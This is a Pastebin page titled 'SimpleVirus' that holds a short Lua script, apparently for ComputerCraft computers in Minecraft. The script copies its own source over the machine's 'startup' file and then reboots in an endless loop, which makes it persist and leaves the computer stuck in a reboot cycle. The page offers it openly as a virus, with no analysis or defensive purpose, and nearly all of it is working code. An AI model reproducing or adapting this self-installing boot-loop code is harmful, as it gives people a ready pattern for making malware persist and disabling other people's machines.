xXm0dzXx

SimpleVirus

Oct 1st, 2012
319
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.28 KB | None | 0 0
  1. trololol = fs.open(shell.getRunningProgram(), "r")
  2. local fileContents = trololol.readAll()
  3. trololol.close()
  4.  
  5. while true do
  6. timer = os.startTimer(0.05)
  7. os.pullEvent()
  8. fs.delete("startup")
  9. file = fs.open("startup","w")
  10. file.write(fileContents)
  11. file.close()
  12. os.reboot()
  13. end
Advertisement
Add Comment
Please, Sign In to add comment